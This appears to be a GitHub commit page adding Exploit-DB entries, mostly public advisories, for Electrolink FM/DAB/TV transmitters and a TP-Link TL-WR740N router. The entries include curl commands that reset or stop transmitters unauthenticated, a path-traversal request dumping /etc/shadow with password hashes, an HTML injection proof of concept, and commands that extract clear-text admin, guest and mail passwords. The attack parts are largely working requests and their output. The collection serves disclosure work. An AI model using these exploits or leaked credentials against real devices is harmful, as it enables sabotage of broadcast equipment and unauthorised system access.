Skip to content

Commit 20e4c93

Browse files
author
certcc-ghbot
committed
Merge remote-tracking branch 'upstream/main'
2 parents f897445 + 81ae91f commit 20e4c93

File tree

14 files changed

+945
-0
lines changed

14 files changed

+945
-0
lines changed

‎exploits/hardware/dos/51774.txt

+82
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,82 @@
1+
Electrolink FM/DAB/TV Transmitter Unauthenticated Remote DoS
2+
3+
4+
Vendor: Electrolink s.r.l.
5+
Product web page: https://www.electrolink.com
6+
Affected version: 10W, 100W, 250W, Compact DAB Transmitter
7+
500W, 1kW, 2kW Medium DAB Transmitter
8+
2.5kW, 3kW, 4kW, 5kW High Power DAB Transmitter
9+
100W, 500W, 1kW, 2kW Compact FM Transmitter
10+
3kW, 5kW, 10kW, 15kW, 20kW, 30kW Modular FM Transmitter
11+
15W - 40kW Digital FM Transmitter
12+
BI, BIII VHF TV Transmitter
13+
10W - 5kW UHF TV Transmitter
14+
Web version: 01.09, 01.08, 01.07
15+
Display version: 1.4, 1.2
16+
Control unit version: 01.06, 01.04, 01.03
17+
Firmware version: 2.1
18+
19+
Summary: Since 1990 Electrolink has been dealing with design and
20+
manufacturing of advanced technologies for radio and television
21+
broadcasting. The most comprehensive products range includes: FM
22+
Transmitters, DAB Transmitters, TV Transmitters for analogue and
23+
digital multistandard operation, Bandpass Filters (FM, DAB, ATV,
24+
DTV), Channel combiners (FM, DAB, ATV, DTV), Motorized coaxial
25+
switches, Manual patch panels, RF power meters, Rigid line and
26+
accessories. A professional solution that meets broadcasters needs
27+
from small community television or radio to big government networks.
28+
29+
Compact DAB Transmitters 10W, 100W and 250W models with 3.5"
30+
touch-screen display and in-built state of the art DAB modulator,
31+
EDI input and GPS receiver. All transmitters are equipped with a
32+
state-of-the art DAB modulator with excellent performances,
33+
self-protected and self-controlled amplifiers ensure trouble-free
34+
non-stop operation.
35+
36+
100W, 500W, 1kW and 2kW power range available on compact 2U and
37+
3U 19" frame. Built-in stereo coder, touch screen display and
38+
efficient low noise air cooling system. Available models: 3kW,
39+
5kW, 10kW, 15kW, 20kW and 30kW. High efficiency FM transmitters
40+
with fully broadband solid state amplifiers and an efficient
41+
low-noise air cooling system.
42+
43+
FM digital modulator with excellent specifications, built-in
44+
stereo and RDS coder. Digital deviation limiter together with
45+
ASI and SDI inputs are available. These transmitters are ready
46+
for ISOFREQUENCY networks.
47+
48+
Available for VHF BI and VHF BIII operation with robust desing
49+
and user-friendly local and remote control. Multi-standard UHF
50+
TV transmitters from 10W up to 5kW with efficient low noise air
51+
cooling system. Analogue PAL, NTSC and Digital DVB-T/T2, ATSC
52+
and ISDB-Tb available.
53+
54+
Desc: The transmitter is suffering from a Denial of Service (DoS)
55+
scenario. An unauthenticated attacker can reset the board as well
56+
as stop the transmitter operations by sending one GET request to
57+
the command.cgi gateway.
58+
59+
Tested on: Mbedthis-Appweb/12.5.0
60+
Mbedthis-Appweb/12.0.0
61+
62+
63+
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
64+
Macedonian Information Security Research & Development Laboratory
65+
Zero Science Lab - https://www.zeroscience.mk - @zeroscience
66+
67+
68+
Advisory ID: ZSL-2023-5795
69+
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5795.php
70+
71+
72+
30.06.2023
73+
74+
--
75+
76+
77+
C:\>curl -s http://192.168.150.77:8888/command.cgi?web=r (reset board)
78+
Success! OK
79+
C:\>curl -s http://192.168.150.77:8888/command.cgi?web=K (stop)
80+
Success! OK
81+
C:\>curl -s http://192.168.150.77:8888/command.cgi?web=J (start)
82+
Success! OK

‎exploits/hardware/webapps/51768.txt

+56
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,56 @@
1+
# Exploit Title: TP-Link TL-WR740N UnAuthenticated Directory Transversal
2+
# Date: 25/9/2023
3+
# Exploit Author: Syed Affan Ahmed (ZEROXINN)
4+
# Vendor Homepage: http://www.tp-link.com
5+
# Version: TP-Link TL-WR740n 3.12.11 Build 110915 Rel.40896n
6+
# Tested on: TP-Link TL-WR740N
7+
8+
---------------------------POC---------------------------
9+
10+
Request
11+
-------
12+
13+
GET /help/../../../etc/shadow HTTP/1.1
14+
Host: 192.168.0.1:8082
15+
Upgrade-Insecure-Requests: 1
16+
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
17+
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
18+
Accept-Encoding: gzip, deflate
19+
Accept-Language: en-US,en;q=0.9
20+
Cookie: ipaddr=192.168.0.100; mLangage=žée; exception=4
21+
Connection: close
22+
23+
Response
24+
--------
25+
26+
HTTP/1.1 200 OK
27+
Server: Router Webserver
28+
Connection: close
29+
WWW-Authenticate: Basic realm="TP-LINK Wireless Lite N Router WR740N"
30+
Content-Type: text/html
31+
32+
<META http-equiv=Content-Type content="text/html; charset=iso-8859-1">
33+
<HTML>
34+
<HEAD><TITLE>TL-WR740N</TITLE>
35+
<META http-equiv=Pragma content=no-cache>
36+
<META http-equiv=Expires content="wed, 26 Feb 1997 08:21:57 GMT">
37+
<LINK href="/dynaform/css_help.css" rel=stylesheet type="text/css">
38+
<SCRIPT language="javascript" type="text/javascript"><!--
39+
if(window.parent == window){window.location.href="http://192.168.0.1";}
40+
function Click(){ return false;}
41+
document.oncontextmenu=Click;
42+
function doPrev(){history.go(-1);}
43+
//--></SCRIPT>
44+
root:$1$$zdlNHiCDxYDfeF4MZL.H3/:10933:0:99999:7:::
45+
Admin:$1$$zdlNHiCDxYDfeF4MZL.H3/:10933:0:99999:7:::
46+
bin::10933:0:99999:7:::
47+
daemon::10933:0:99999:7:::
48+
adm::10933:0:99999:7:::
49+
lp:*:10933:0:99999:7:::
50+
sync:*:10933:0:99999:7:::
51+
shutdown:*:10933:0:99999:7:::
52+
halt:*:10933:0:99999:7:::
53+
uucp:*:10933:0:99999:7:::
54+
operator:*:10933:0:99999:7:::
55+
nobody::10933:0:99999:7:::
56+
ap71::10933:0:99999:7:::

‎exploits/hardware/webapps/51769.txt

+18
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
# Exploit Title: TP-LINK TL-WR740N - Multiple HTML Injection Vulnerabilities
2+
# Date: 25/9/2023
3+
# Exploit Author: Shujaat Amin (ZEROXINN)
4+
# Vendor Homepage: http://www.tp-link.com
5+
# Version: TP-Link TL-WR740n 3.12.11 Build 110915 Rel.40896n
6+
# Tested on: Windows 10
7+
8+
---------------------------POC-----------------------------
9+
10+
1) Go to your routers IP (192.168.0.1)
11+
12+
2) Go to Access control --> Target,rule
13+
14+
3) Click on add new
15+
16+
5) Type <h1>Hello<h1> in Target Description box
17+
18+
6) Click on Save, and now you can see html injection on the webpage

‎exploits/hardware/webapps/51770.txt

+83
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,83 @@
1+
Electrolink FM/DAB/TV Transmitter (login.htm/mail.htm) Credentials Disclosure
2+
3+
4+
Vendor: Electrolink s.r.l.
5+
Product web page: https://www.electrolink.com
6+
Affected version: 10W, 100W, 250W, Compact DAB Transmitter
7+
500W, 1kW, 2kW Medium DAB Transmitter
8+
2.5kW, 3kW, 4kW, 5kW High Power DAB Transmitter
9+
100W, 500W, 1kW, 2kW Compact FM Transmitter
10+
3kW, 5kW, 10kW, 15kW, 20kW, 30kW Modular FM Transmitter
11+
15W - 40kW Digital FM Transmitter
12+
BI, BIII VHF TV Transmitter
13+
10W - 5kW UHF TV Transmitter
14+
Web version: 01.09, 01.08, 01.07
15+
Display version: 1.4, 1.2
16+
Control unit version: 01.06, 01.04, 01.03
17+
Firmware version: 2.1
18+
19+
Summary: Since 1990 Electrolink has been dealing with design and
20+
manufacturing of advanced technologies for radio and television
21+
broadcasting. The most comprehensive products range includes: FM
22+
Transmitters, DAB Transmitters, TV Transmitters for analogue and
23+
digital multistandard operation, Bandpass Filters (FM, DAB, ATV,
24+
DTV), Channel combiners (FM, DAB, ATV, DTV), Motorized coaxial
25+
switches, Manual patch panels, RF power meters, Rigid line and
26+
accessories. A professional solution that meets broadcasters needs
27+
from small community television or radio to big government networks.
28+
29+
Compact DAB Transmitters 10W, 100W and 250W models with 3.5"
30+
touch-screen display and in-built state of the art DAB modulator,
31+
EDI input and GPS receiver. All transmitters are equipped with a
32+
state-of-the art DAB modulator with excellent performances,
33+
self-protected and self-controlled amplifiers ensure trouble-free
34+
non-stop operation.
35+
36+
100W, 500W, 1kW and 2kW power range available on compact 2U and
37+
3U 19" frame. Built-in stereo coder, touch screen display and
38+
efficient low noise air cooling system. Available models: 3kW,
39+
5kW, 10kW, 15kW, 20kW and 30kW. High efficiency FM transmitters
40+
with fully broadband solid state amplifiers and an efficient
41+
low-noise air cooling system.
42+
43+
FM digital modulator with excellent specifications, built-in
44+
stereo and RDS coder. Digital deviation limiter together with
45+
ASI and SDI inputs are available. These transmitters are ready
46+
for ISOFREQUENCY networks.
47+
48+
Available for VHF BI and VHF BIII operation with robust desing
49+
and user-friendly local and remote control. Multi-standard UHF
50+
TV transmitters from 10W up to 5kW with efficient low noise air
51+
cooling system. Analogue PAL, NTSC and Digital DVB-T/T2, ATSC
52+
and ISDB-Tb available.
53+
54+
Desc: The device is vulnerable to a disclosure of clear-text
55+
credentials in login.htm and mail.htm that can allow security
56+
bypass and system access.
57+
58+
Tested on: Mbedthis-Appweb/12.5.0
59+
Mbedthis-Appweb/12.0.0
60+
61+
62+
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
63+
Macedonian Information Security Research & Development Laboratory
64+
Zero Science Lab - https://www.zeroscience.mk - @zeroscience
65+
66+
67+
Advisory ID: ZSL-2023-XXXX
68+
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-xxxx.php
69+
70+
71+
30.06.2023
72+
73+
--
74+
75+
76+
C:\>curl -s "http://192.168.150.77:8888/login.htm" | findstr /spina:d "passw"
77+
55:<td class=cd31>Admin password</td>
78+
56:<td class=cd32><input type=password name=adminpassword value="cozzir" tabindex=2 style="width: 95%" maxlength="30"/></td>
79+
63:<td class=cd31>Guest password</td>
80+
64:<td class=cd32><input type=password name=guestpassword value="guest" tabindex=4 style="width: 95%" maxlength="30"/></td>
81+
C:\>curl -s http://192.168.150.77:8888/mail.htm | findstr /spina:d "passw"
82+
93:<td class=cd31>Server password</td>
83+
94:<td class=cd32><input type=password name=password value="t00tw00t" tabindex=4 style="width: 95%" maxlength="40"/></td>

‎exploits/hardware/webapps/51771.txt

+90
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,90 @@
1+
Electrolink FM/DAB/TV Transmitter (controlloLogin.js) Credentials Disclosure
2+
3+
4+
Vendor: Electrolink s.r.l.
5+
Product web page: https://www.electrolink.com
6+
Affected version: 10W, 100W, 250W, Compact DAB Transmitter
7+
500W, 1kW, 2kW Medium DAB Transmitter
8+
2.5kW, 3kW, 4kW, 5kW High Power DAB Transmitter
9+
100W, 500W, 1kW, 2kW Compact FM Transmitter
10+
3kW, 5kW, 10kW, 15kW, 20kW, 30kW Modular FM Transmitter
11+
15W - 40kW Digital FM Transmitter
12+
BI, BIII VHF TV Transmitter
13+
10W - 5kW UHF TV Transmitter
14+
Web version: 01.09, 01.08, 01.07
15+
Display version: 1.4, 1.2
16+
Control unit version: 01.06, 01.04, 01.03
17+
Firmware version: 2.1
18+
19+
Summary: Since 1990 Electrolink has been dealing with design and
20+
manufacturing of advanced technologies for radio and television
21+
broadcasting. The most comprehensive products range includes: FM
22+
Transmitters, DAB Transmitters, TV Transmitters for analogue and
23+
digital multistandard operation, Bandpass Filters (FM, DAB, ATV,
24+
DTV), Channel combiners (FM, DAB, ATV, DTV), Motorized coaxial
25+
switches, Manual patch panels, RF power meters, Rigid line and
26+
accessories. A professional solution that meets broadcasters needs
27+
from small community television or radio to big government networks.
28+
29+
Compact DAB Transmitters 10W, 100W and 250W models with 3.5"
30+
touch-screen display and in-built state of the art DAB modulator,
31+
EDI input and GPS receiver. All transmitters are equipped with a
32+
state-of-the art DAB modulator with excellent performances,
33+
self-protected and self-controlled amplifiers ensure trouble-free
34+
non-stop operation.
35+
36+
100W, 500W, 1kW and 2kW power range available on compact 2U and
37+
3U 19" frame. Built-in stereo coder, touch screen display and
38+
efficient low noise air cooling system. Available models: 3kW,
39+
5kW, 10kW, 15kW, 20kW and 30kW. High efficiency FM transmitters
40+
with fully broadband solid state amplifiers and an efficient
41+
low-noise air cooling system.
42+
43+
FM digital modulator with excellent specifications, built-in
44+
stereo and RDS coder. Digital deviation limiter together with
45+
ASI and SDI inputs are available. These transmitters are ready
46+
for ISOFREQUENCY networks.
47+
48+
Available for VHF BI and VHF BIII operation with robust desing
49+
and user-friendly local and remote control. Multi-standard UHF
50+
TV transmitters from 10W up to 5kW with efficient low noise air
51+
cooling system. Analogue PAL, NTSC and Digital DVB-T/T2, ATSC
52+
and ISDB-Tb available.
53+
54+
Desc: The device is vulnerable to a disclosure of clear-text
55+
credentials in controlloLogin.js that can allow security
56+
bypass and system access.
57+
58+
Tested on: Mbedthis-Appweb/12.5.0
59+
Mbedthis-Appweb/12.0.0
60+
61+
62+
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
63+
Macedonian Information Security Research & Development Laboratory
64+
Zero Science Lab - https://www.zeroscience.mk - @zeroscience
65+
66+
67+
Advisory ID: ZSL-2023-5790
68+
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5790.php
69+
70+
71+
30.06.2023
72+
73+
--
74+
75+
76+
C:\>curl -s "http://192.168.150.77:8888/controlloLogin.js"
77+
function verifica() {
78+
var user = document.getElementById('user').value;
79+
var password = document.getElementById('password').value;
80+
81+
//alert(user);
82+
83+
if(user=='admin' && password=='cozzir'){
84+
SetCookie('Login','OK',exp);
85+
window.location.replace("FrameSetCore.html");
86+
}else{
87+
SetCookie('Login','NO',exp);
88+
window.location.replace("login.html");
89+
}
90+
}

0 commit comments

Comments
 (0)